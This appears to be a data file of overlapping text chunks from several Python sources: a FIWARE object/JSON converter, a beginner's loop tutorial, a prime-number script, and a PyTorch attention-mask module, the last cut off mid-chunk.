"from json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This class",
"how to use this class, see the Readme.md You can find the needed",
"vice versa \"\"\" import json import sys, os # Adding This Sub-Project into",
"under the License is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES",
"versa \"\"\" import json import sys, os # Adding This Sub-Project into the",
"License for the specific language governing permissions and # limitations under the License.",
"the specific language governing permissions and # limitations under the License. \"\"\" This",
"Copyright 2018 <NAME> # # Licensed under the Apache License, Version 2.0 (the",
"the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law",
"the Fiware-JSON-Format. For more Information how to use this class, see the Readme.md",
"import json import sys, os # Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__)))",
"return clsself._json(en, ind) @classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj=",
"'__dict__'): return Obj.__dict__ else: raise TypeError('Object of type %s with value of %s",
"( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind) @classmethod",
"the License. # You may obtain a copy of the License at #",
"raise TypeError('Object of type %s with value of %s is not JSON serializable'",
"JSON serializable' % ( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__,",
"@classmethod def fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is",
"to in writing, software # distributed under the License is distributed on an",
"\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express",
"Object <-> JSON-string. The classes in subdirectories are either used to convert them",
"@classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object of",
"# distributed under the License is distributed on an \"AS IS\" BASIS, #",
"folder JsonToObject and vice versa \"\"\" import json import sys, os # Adding",
"implied. # See the License for the specific language governing permissions and #",
"\"License\"); # you may not use this file except in compliance with the",
"classes in subdirectories are either used to convert them into JSON or into",
"is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF",
"\"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={}, ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity()",
"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"fiware2Obj(clsself, _fiwareEntity, _objectStructure={}, useMetaData=True, ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj",
"2018 <NAME> # # Licensed under the Apache License, Version 2.0 (the \"License\");",
"required by applicable law or agreed to in writing, software # distributed under",
"\"\"\" This Module converts Python-Objects into the Fiware-JSON-Format. For more Information how to",
"the folder JsonToObject and vice versa \"\"\" import json import sys, os #",
"import sys, os # Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from json_to_object.reverse_entity",
"applicable law or agreed to in writing, software # distributed under the License",
"to use this class, see the Readme.md You can find the needed Files",
"of type %s with value of %s is not JSON serializable' % (",
"json import sys, os # Adding This Sub-Project into the PythonPath sys.path.append(os.path.dirname(os.path.realpath(__file__))) from",
"the License. \"\"\" This Module converts Python-Objects into the Fiware-JSON-Format. For more Information",
"json_to_object.reverse_entity import ReverseEntity from object_to_json.entity import Entity class ObjectFiwareConverter(object): \"\"\" This class should",
"into JSON or into a Python-specific-Object. \"\"\" @classmethod def obj2Fiware(clsself, _object, ind=0, dataTypeDict={},",
"ignorePythonMetaData=False, showIdValue=True, encode=False): en = Entity() en.setObject(_object, dataTypeDict, ignorePythonMetaData, showIdValue= showIdValue, encode=encode) return",
"and # limitations under the License. \"\"\" This Module converts Python-Objects into the",
"subdirectories are either used to convert them into JSON or into a Python-specific-Object.",
"% ( type(Obj), repr(Obj))) @classmethod def _json(clsself, obj, ind=0): return json.dumps(obj.__dict__, default=clsself._complex_handler, indent=ind)",
"or agreed to in writing, software # distributed under the License is distributed",
"or implied. # See the License for the specific language governing permissions and",
"else: raise TypeError('Object of type %s with value of %s is not JSON",
"= _fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def",
"encoded=encoded) @classmethod def _complex_handler(clsself, Obj): if hasattr(Obj, '__dict__'): return Obj.__dict__ else: raise TypeError('Object",
"_fiwareEntity re = ReverseEntity(**jsonObj) return re.setObject(_objectStructure, useMetaData, ignoreWrongDataType, setAttr, encoded=encoded) @classmethod def _complex_handler(clsself,",
"distributed under the License is distributed on an \"AS IS\" BASIS, # WITHOUT",
"CONDITIONS OF ANY KIND, either express or implied. # See the License for",
"to convert from an Object into JSON in the folder JsonToObject and vice",
"\"\"\" This class should be primarily used to convert a Object <-> JSON-string.",
"Apache License, Version 2.0 (the \"License\"); # you may not use this file",
"should be primarily used to convert a Object <-> JSON-string. The classes in",
"Module converts Python-Objects into the Fiware-JSON-Format. For more Information how to use this",
"OR CONDITIONS OF ANY KIND, either express or implied. # See the License",
"may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"%s with value of %s is not JSON serializable' % ( type(Obj), repr(Obj)))",
"with value of %s is not JSON serializable' % ( type(Obj), repr(Obj))) @classmethod",
"with the License. # You may obtain a copy of the License at",
"ignoreWrongDataType=False, setAttr=False, encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj",
"encoded=False): jsonObj= None if(type(_fiwareEntity) is str): jsonObj = clsself._obj(_fiwareEntity) else: jsonObj = _fiwareEntity",
"into JSON in the folder JsonToObject and vice versa \"\"\" import json import",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,",
"Readme.md You can find the needed Files to convert from an Object into",
"in writing, software # distributed under the License is distributed on an \"AS",
"into the Fiware-JSON-Format. For more Information how to use this class, see the",
"JSON in the folder JsonToObject and vice versa \"\"\" import json import sys,",
"convert a Object <-> JSON-string. The classes in subdirectories are either used to",
"convert from an Object into JSON in the folder JsonToObject and vice versa",
"under the License. \"\"\" This Module converts Python-Objects into the Fiware-JSON-Format. For more",
"under the Apache License, Version 2.0 (the \"License\"); # you may not use"
] |
[
"program determines to stop it ## for loop: control statement that most easily",
"lower = int(input(\"Enter the lower bound: \")) upper = int(input(\"Enter the upper bound:",
"through an upper bound lower = int(input(\"Enter the lower bound: \")) upper =",
"for eachPass in range(4): print(\"It's alive!\", end = \" \") number = 2",
"bound lower = int(input(\"Enter the lower bound: \")) upper = int(input(\"Enter the upper",
"\" \") ## Compute sum of a sequence of numbers from a lowers",
"= 1 for i in range(exponential): product = product * number print(product, end",
"numbers from a lowers bound through an upper bound lower = int(input(\"Enter the",
"print(product, end = \" \") ## Compute sum of a sequence of numbers",
"sequence of numbers from a lowers bound through an upper bound lower =",
"from a lowers bound through an upper bound lower = int(input(\"Enter the lower",
"of a sequence of numbers from a lowers bound through an upper bound",
"end = \" \") number = 2 exponential = 3 product = 1",
"product * number print(product, end = \" \") ## Compute sum of a",
"it ## for loop: control statement that most easily supports definite iteration for",
"a lowers bound through an upper bound lower = int(input(\"Enter the lower bound:",
"= 3 product = 1 for i in range(exponential): product = product *",
"lower bound: \")) upper = int(input(\"Enter the upper bound: \")) thesum = 0",
"\") number = 2 exponential = 3 product = 1 for i in",
"the lower bound: \")) upper = int(input(\"Enter the upper bound: \")) thesum =",
"2 types of loops: # definite iteration # and indefinite iteration until the",
"of loops: # definite iteration # and indefinite iteration until the program determines",
"upper bound: \")) thesum = 0 for number in range (lower, upper +",
"loops: # definite iteration # and indefinite iteration until the program determines to",
"upper bound lower = int(input(\"Enter the lower bound: \")) upper = int(input(\"Enter the",
"iteration for eachPass in range(4): print(\"It's alive!\", end = \" \") number =",
"\")) thesum = 0 for number in range (lower, upper + 1): thesum",
"definite iteration # and indefinite iteration until the program determines to stop it",
"upper = int(input(\"Enter the upper bound: \")) thesum = 0 for number in",
"= int(input(\"Enter the upper bound: \")) thesum = 0 for number in range",
"# and indefinite iteration until the program determines to stop it ## for",
"that most easily supports definite iteration for eachPass in range(4): print(\"It's alive!\", end",
"indefinite iteration until the program determines to stop it ## for loop: control",
"number print(product, end = \" \") ## Compute sum of a sequence of",
"print(\"It's alive!\", end = \" \") number = 2 exponential = 3 product",
"= 2 exponential = 3 product = 1 for i in range(exponential): product",
"eachPass in range(4): print(\"It's alive!\", end = \" \") number = 2 exponential",
"for i in range(exponential): product = product * number print(product, end = \"",
"stop it ## for loop: control statement that most easily supports definite iteration",
"loop: control statement that most easily supports definite iteration for eachPass in range(4):",
"a sequence of numbers from a lowers bound through an upper bound lower",
"determines to stop it ## for loop: control statement that most easily supports",
"exponential = 3 product = 1 for i in range(exponential): product = product",
"an upper bound lower = int(input(\"Enter the lower bound: \")) upper = int(input(\"Enter",
"int(input(\"Enter the lower bound: \")) upper = int(input(\"Enter the upper bound: \")) thesum",
"range(exponential): product = product * number print(product, end = \" \") ## Compute",
"product = product * number print(product, end = \" \") ## Compute sum",
"= \" \") ## Compute sum of a sequence of numbers from a",
"Compute sum of a sequence of numbers from a lowers bound through an",
"\")) upper = int(input(\"Enter the upper bound: \")) thesum = 0 for number",
"and indefinite iteration until the program determines to stop it ## for loop:",
"There are 2 types of loops: # definite iteration # and indefinite iteration",
"to stop it ## for loop: control statement that most easily supports definite",
"= \" \") number = 2 exponential = 3 product = 1 for",
"range(4): print(\"It's alive!\", end = \" \") number = 2 exponential = 3",
"# definite iteration # and indefinite iteration until the program determines to stop",
"1 for i in range(exponential): product = product * number print(product, end =",
"= 0 for number in range (lower, upper + 1): thesum += number",
"## for loop: control statement that most easily supports definite iteration for eachPass",
"supports definite iteration for eachPass in range(4): print(\"It's alive!\", end = \" \")",
"\") ## Compute sum of a sequence of numbers from a lowers bound",
"thesum = 0 for number in range (lower, upper + 1): thesum +=",
"until the program determines to stop it ## for loop: control statement that",
"lowers bound through an upper bound lower = int(input(\"Enter the lower bound: \"))",
"<gh_stars>0 ## There are 2 types of loops: # definite iteration # and",
"## Compute sum of a sequence of numbers from a lowers bound through",
"the upper bound: \")) thesum = 0 for number in range (lower, upper",
"= product * number print(product, end = \" \") ## Compute sum of",
"the program determines to stop it ## for loop: control statement that most",
"easily supports definite iteration for eachPass in range(4): print(\"It's alive!\", end = \"",
"statement that most easily supports definite iteration for eachPass in range(4): print(\"It's alive!\",",
"most easily supports definite iteration for eachPass in range(4): print(\"It's alive!\", end =",
"end = \" \") ## Compute sum of a sequence of numbers from",
"bound: \")) upper = int(input(\"Enter the upper bound: \")) thesum = 0 for",
"iteration until the program determines to stop it ## for loop: control statement",
"bound through an upper bound lower = int(input(\"Enter the lower bound: \")) upper",
"sum of a sequence of numbers from a lowers bound through an upper",
"alive!\", end = \" \") number = 2 exponential = 3 product =",
"int(input(\"Enter the upper bound: \")) thesum = 0 for number in range (lower,",
"## There are 2 types of loops: # definite iteration # and indefinite",
"3 product = 1 for i in range(exponential): product = product * number",
"2 exponential = 3 product = 1 for i in range(exponential): product =",
"\" \") number = 2 exponential = 3 product = 1 for i",
"in range(4): print(\"It's alive!\", end = \" \") number = 2 exponential =",
"for loop: control statement that most easily supports definite iteration for eachPass in",
"control statement that most easily supports definite iteration for eachPass in range(4): print(\"It's",
"0 for number in range (lower, upper + 1): thesum += number print(thesum)",
"definite iteration for eachPass in range(4): print(\"It's alive!\", end = \" \") number",
"number = 2 exponential = 3 product = 1 for i in range(exponential):",
"iteration # and indefinite iteration until the program determines to stop it ##",
"are 2 types of loops: # definite iteration # and indefinite iteration until",
"product = 1 for i in range(exponential): product = product * number print(product,",
"in range(exponential): product = product * number print(product, end = \" \") ##",
"bound: \")) thesum = 0 for number in range (lower, upper + 1):",
"* number print(product, end = \" \") ## Compute sum of a sequence",
"i in range(exponential): product = product * number print(product, end = \" \")",
"of numbers from a lowers bound through an upper bound lower = int(input(\"Enter",
"= int(input(\"Enter the lower bound: \")) upper = int(input(\"Enter the upper bound: \"))",
"types of loops: # definite iteration # and indefinite iteration until the program"
] |
[
"<filename>code/012.py #!/usr/bin/python3 import math count = 0 leap = 1 for i in",
"in range(101,201): k = int(math.sqrt(i+1)) for j in range(2,k+1): if i%j == 0:",
"0 leap = 1 for i in range(101,201): k = int(math.sqrt(i+1)) for j",
"for i in range(101,201): k = int(math.sqrt(i+1)) for j in range(2,k+1): if i%j",
"import math count = 0 leap = 1 for i in range(101,201): k",
"= int(math.sqrt(i+1)) for j in range(2,k+1): if i%j == 0: leap = 0",
"1 for i in range(101,201): k = int(math.sqrt(i+1)) for j in range(2,k+1): if",
"= 0 break if leap == 1: print(i) count += 1 leap =",
"== 0: leap = 0 break if leap == 1: print(i) count +=",
"0 break if leap == 1: print(i) count += 1 leap = 1",
"i%j == 0: leap = 0 break if leap == 1: print(i) count",
"leap = 1 for i in range(101,201): k = int(math.sqrt(i+1)) for j in",
"k = int(math.sqrt(i+1)) for j in range(2,k+1): if i%j == 0: leap =",
"in range(2,k+1): if i%j == 0: leap = 0 break if leap ==",
"if i%j == 0: leap = 0 break if leap == 1: print(i)",
"i in range(101,201): k = int(math.sqrt(i+1)) for j in range(2,k+1): if i%j ==",
"range(2,k+1): if i%j == 0: leap = 0 break if leap == 1:",
"j in range(2,k+1): if i%j == 0: leap = 0 break if leap",
"range(101,201): k = int(math.sqrt(i+1)) for j in range(2,k+1): if i%j == 0: leap",
"break if leap == 1: print(i) count += 1 leap = 1 print(\"素数总计数:%d\"%count)",
"#!/usr/bin/python3 import math count = 0 leap = 1 for i in range(101,201):",
"0: leap = 0 break if leap == 1: print(i) count += 1",
"= 1 for i in range(101,201): k = int(math.sqrt(i+1)) for j in range(2,k+1):",
"leap = 0 break if leap == 1: print(i) count += 1 leap",
"= 0 leap = 1 for i in range(101,201): k = int(math.sqrt(i+1)) for",
"int(math.sqrt(i+1)) for j in range(2,k+1): if i%j == 0: leap = 0 break",
"for j in range(2,k+1): if i%j == 0: leap = 0 break if",
"count = 0 leap = 1 for i in range(101,201): k = int(math.sqrt(i+1))",
"math count = 0 leap = 1 for i in range(101,201): k ="
] |
[
"html footer = html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\",",
"), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\" ], className=\"footer-wrapper\"), className=\"foot-container\", ), ], )",
"href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"),",
"footer = html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\",",
"import dash_html_components as html footer = html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\",",
"html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ),",
"], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\" ], className=\"footer-wrapper\"), className=\"foot-container\",",
"html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\",",
"<filename>components/footer.py<gh_stars>0 import dash_html_components as html footer = html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"),",
"html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper",
"footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\" ], className=\"footer-wrapper\"), className=\"foot-container\", ), ],",
"className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div(",
"html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([",
"dash_html_components as html footer = html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\",",
"= html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"),",
"href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\" ],",
"html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ],",
"as html footer = html.Footer([ html.Div( html.Div([ html.A(\"Home\", href=\"/\", className=\"footer-navlink\"), html.A(\"Model\", href=\"/model\", className=\"footer-navlink\"),",
"className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer",
"html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\"",
"className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\" ], className=\"footer-wrapper\"), className=\"foot-container\", ),",
"href=\"/model\", className=\"footer-navlink\"), html.A(\"Data\", href=\"/data\", className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some",
"className=\"footer-navlink\"), ], className=\"footer-wrapper footer-link-cont\", ), className=\"footer-links\"), html.Div( html.Div([ \"Some footer text\" ], className=\"footer-wrapper\"),"
] |
[
"torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is",
"from functools import partial from typing import Optional, Union, Tuple, Any import torch",
"mask is None: return None if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype ==",
"== torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod",
"== 'layer': return nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d) elif norm ==",
"if binary_mask is not None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return",
"None: return None if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool or",
"isinstance(mask, AttentionMask): return mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8,",
"def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask,",
"import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm is None: return lambda x:",
"mask = mask + mask_a.additive_mask[:, :, None] if mask_b is not None: mask",
"assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return",
"mask = mask + mask_b.additive_mask[:, None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features:",
"Tuple, Any import torch from omegaconf import MISSING from torch import nn import",
"return mask.additive_mask elif mask.dtype == torch.bool or mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype)",
"import Optional, Union, Tuple, Any import torch from omegaconf import MISSING from torch",
"as F from torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str],",
"norm == 'batch': return nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize, dim=-1, p=2)",
"None, :] return mask @dataclass class EncoderOutput(TensorDataclassMixin): local_features: Optional[torch.Tensor] global_features: Optional[torch.Tensor] local_structure_size: Union[int,",
"dtype): if mask is None: return None if isinstance(mask, AttentionMask): return mask.additive_mask elif",
"import MISSING from torch import nn import torch.nn.functional as F from torch.utils.data.dataloader import",
"import dataclass from functools import partial from typing import Optional, Union, Tuple, Any",
"torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\ (type(mask), mask.dtype) return AttentionMask.from_binary_mask(mask, dtype)",
"None and mask_b is None and mask_ab is None: return None else: mask",
"x self.batch_collator = default_collate @property def max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config:",
"N_b) :param mask_ab: (B x N_a x N_b) :return: \"\"\" if mask_a is",
"return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None: return",
"mask + mask_a.additive_mask[:, :, None] if mask_b is not None: mask = mask",
"NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str = MISSING modality: str = MISSING class",
"inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not",
"x N_a) :param mask_b: (B x N_b) :param mask_ab: (B x N_a x",
"nn.LayerNorm(d) elif norm == 'batch': return nn.BatchNorm1d(d) elif norm == 'l2': return partial(F.normalize,",
"from abc import ABC, abstractmethod from dataclasses import dataclass from functools import partial",
"def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not None: binary_mask = binary_mask.bool() additive_mask",
"is None or isinstance(mask, AttentionMask): return mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype",
"x: x elif norm == 'layer': return nn.LayerNorm(d) elif norm == 'batch': return",
"return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask:",
"Union, Tuple, Any import torch from omegaconf import MISSING from torch import nn",
"def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None):",
"binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def",
"EncoderConfig: _encoder_cls_: str = MISSING modality: str = MISSING class EncoderInterface(ABC): def __init__(self):",
"None): ... @dataclass class AttentionMask(TensorDataclassMixin): binary_mask: torch.Tensor inverted_binary_mask: torch.Tensor additive_mask: torch.Tensor @staticmethod def",
"None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B",
"x N_b) :return: \"\"\" if mask_a is None and mask_b is None and",
"torch.Tensor @staticmethod def from_binary_mask(binary_mask: torch.Tensor, dtype): if binary_mask is not None: binary_mask =",
"return None else: mask = 0. if mask_ab is not None: mask =",
"if mask is None or isinstance(mask, AttentionMask): return mask else: assert isinstance(mask, torch.Tensor)",
"str = MISSING modality: str = MISSING class EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__()",
"omegaconf import MISSING from torch import nn import torch.nn.functional as F from torch.utils.data.dataloader",
"if norm is None: return lambda x: x elif norm == 'layer': return",
"from dataclasses import dataclass from functools import partial from typing import Optional, Union,",
"EncoderInterface(ABC): def __init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x: x self.val_transform = lambda",
"__init__(self): super(EncoderInterface, self).__init__() self.transform = lambda x: x self.val_transform = lambda x: x",
"N_b) :return: \"\"\" if mask_a is None and mask_b is None and mask_ab",
"torch from omegaconf import MISSING from torch import nn import torch.nn.functional as F",
"is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod",
"MISSING from torch import nn import torch.nn.functional as F from torch.utils.data.dataloader import default_collate",
"mask + mask_ab.additive_mask if mask_a is not None: mask = mask + mask_a.additive_mask[:,",
"partial(F.normalize, dim=-1, p=2) else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str = MISSING",
"return mask else: assert isinstance(mask, torch.Tensor) and (mask.dtype in (torch.bool, torch.uint8, torch.int64)), \\",
"else: raise NotImplementedError @dataclass class EncoderConfig: _encoder_cls_: str = MISSING modality: str =",
"is not None: mask = mask + mask_a.additive_mask[:, :, None] if mask_b is",
"import torch from omegaconf import MISSING from torch import nn import torch.nn.functional as",
"~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None or",
"self.val_transform = lambda x: x self.batch_collator = default_collate @property def max_region_size(self): return None",
"if mask_b is not None: mask = mask + mask_b.additive_mask[:, None, :] return",
"default_collate @property def max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None):",
"dtype) return AttentionMask(binary_mask, ~binary_mask, additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask",
"additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is",
"dtype): if binary_mask is not None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask, dtype)",
"torch.Tensor, dtype): if binary_mask is not None: binary_mask = binary_mask.bool() additive_mask = AttentionMask._compute_additive_attention_mask(binary_mask,",
"AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask']",
"@staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask'] =",
"@property def max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] = None): ...",
"None if isinstance(mask, AttentionMask): return mask.additive_mask elif mask.dtype == torch.bool or mask.dtype ==",
"mask.dtype == torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask']",
"mask_a is not None: mask = mask + mask_a.additive_mask[:, :, None] if mask_b",
"nn import torch.nn.functional as F from torch.utils.data.dataloader import default_collate from common.dataclass_utils import TensorDataclassMixin",
"torch.uint8: return AttentionMask._compute_additive_attention_mask(mask, dtype) else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None,",
"AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None: return None",
"mask is None or isinstance(mask, AttentionMask): return mask else: assert isinstance(mask, torch.Tensor) and",
"additive_mask) @staticmethod def from_binary_mask_or_attention_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None or isinstance(mask,",
"dataclass from functools import partial from typing import Optional, Union, Tuple, Any import",
"mask_b is not None: mask = mask + mask_b.additive_mask[:, None, :] return mask",
"= default_collate @property def max_region_size(self): return None @abstractmethod def update_data_augmentation(self, data_augmentation_config: Optional[Any] =",
"import partial from typing import Optional, Union, Tuple, Any import torch from omegaconf",
"None, mask_ab: Optional['AttentionMask'] = None): \"\"\" :param mask_a: (B x N_a) :param mask_b:",
"additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype) additive_attention_mask.masked_fill_(~binary_attention_mask, float('-inf')) return additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]],",
"common.dataclass_utils import TensorDataclassMixin def get_norm_layer(norm: Optional[str], d): if norm is None: return lambda",
"else: return mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None,",
"additive_attention_mask @staticmethod def get_additive_mask(mask: Optional[Union['AttentionMask', torch.Tensor]], dtype): if mask is None: return None",
"mask.dtype) return AttentionMask.from_binary_mask(mask, dtype) @staticmethod def _compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None:",
"from typing import Optional, Union, Tuple, Any import torch from omegaconf import MISSING",
"get_norm_layer(norm: Optional[str], d): if norm is None: return lambda x: x elif norm",
"mask @staticmethod def get_additive_cross_attention_mask(mask_a: Optional['AttentionMask'] = None, mask_b: Optional['AttentionMask'] = None, mask_ab: Optional['AttentionMask']",
"dtype): if mask is None or isinstance(mask, AttentionMask): return mask else: assert isinstance(mask,",
"_compute_additive_attention_mask(binary_attention_mask: torch.Tensor, dtype): if binary_attention_mask is None: return None additive_attention_mask = torch.zeros_like(binary_attention_mask, dtype=dtype)",
":, None] if mask_b is not None: mask = mask + mask_b.additive_mask[:, None,",
